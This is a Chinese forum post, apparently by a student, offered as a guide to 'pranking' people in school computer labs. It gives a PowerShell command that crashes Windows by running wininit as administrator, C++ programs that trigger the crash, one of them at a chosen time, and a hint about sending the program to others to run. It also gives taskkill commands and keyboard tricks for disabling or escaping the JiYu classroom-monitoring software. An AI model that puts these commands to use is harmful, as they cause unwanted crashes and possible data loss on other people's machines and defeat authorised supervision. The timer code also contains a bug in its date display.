【学习论文】机房坑人导论
OIer_FightForOI · · 算法·理论
机房坑人导论
创作者:OIer_forget114514
前:说明
1、本论文准确类型为:电脑应用及代码应用\ 2、如你通过此论文造成各种事情,其责任与本作者无关\ 3、本论文持续更新,最后更新时间:2024.11.23
1:wininit
在powershell中,wininit可以让电脑蓝屏,当且仅当powershell以管理员形式启动
Start-Process PowerShell -Verb RunAs
这一段代码可以让powershell打开一个以管理员程序运行的powershell\ 结合上程序,得:
Start-Process PowerShell -Verb RunAs wininit
C++代码:
#include <bits/stdc++.h>
using namespace std;
int main(){
system("start powershell Start-Process PowerShell -Verb RunAs wininit");
return 0;
}
加入定时程序,可以实现定时蓝屏(定时程序见代码):
#include <stdio.h>
#include <time.h>
#include <windows.h>
int t1,t2,t3,t4,t5,t6;
int main() {
SetConsoleTitle("蓝屏");
HWND hwnd = GetForegroundWindow();
RECT windowRect;
GetWindowRect(hwnd, &windowRect);
int newWidth = 600;
int newHeight = 150;
int x = (windowRect.right + windowRect.left - newWidth) / 2;
int y = (windowRect.bottom + windowRect.top - newHeight) / 2;
SetWindowPos(hwnd, NULL, x, y, newWidth, newHeight, SWP_NOZORDER);
SetWindowLongPtrA(GetConsoleWindow(), GWL_STYLE, GetWindowLongPtrA(GetConsoleWindow(),GWL_STYLE)& ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX);
//初始化
printf("请输入蓝屏的时间(年月日时分秒):");
scanf("%d%d%d%d%d%d",&t1,&t2,&t3,&t4,&t5,&t6);
system("cls");
while(1){
time_t seconds = time(NULL);
struct tm *local_time = localtime(&seconds);
printf("当前时间: %d-%02d-%02d %02d:%02d:%02d\n",
local_time->tm_year + 1900,
local_time->tm_mon + 1,
local_time->tm_mon + 1,
local_time->tm_hour,
local_time->tm_min,
local_time->tm_sec);
printf("蓝屏时间:%d-%02d-%02d %02d:%02d:%02d\n",t1,t2,t3,t4,t5,t6);
if(t1==local_time->tm_year + 1900&&t2==local_time->tm_mon + 1&&t3==local_time->tm_mday&&t4==local_time->tm_hour&&t5==local_time->tm_min){
system("start powershell Start-Process PowerShell -Verb RunAs wininit");
break;
}
Sleep(1000);
system("cls");
}
return 0;
}
提示:\ 你可以用特殊方法发送此程序,然后运行(稍后更新)
2:插件,如何在一个拥有极域教室软件的机房中快速脱控并成为根节点
taskkill /f /im ...
这一段cmd代码可以杀掉程序(强制,包括关联程序)\ 极域电子教室的程序名一般为studentmain.exe
taskkill /im studentmain.exe /f
强杀极域
2.1:如何临时脱控
win7(只能争取10s)\ 按windows键+L键,点切换用户,然后尽快登录(按空格),在登录界面被控就玩完了。\ win10 or win11\ 连按五下shift,打开粘液键,点击窗口,不要点极域窗口,按win+M最小化所有窗口,然后按win+ctrl+D,创建新桌面,就可以脱控了。
征集\ 我们发现win10/11按照此方法脱控后干不了任何事情(因为仍然输入不了字符),各OIer有什么好的方法吗
2.2:脱控插件组合
下载
2.3:根节点插件组合
先下这个(快速下载器,浏览器下载太慢了)\ 然后下这个,解压,按操作走就可以了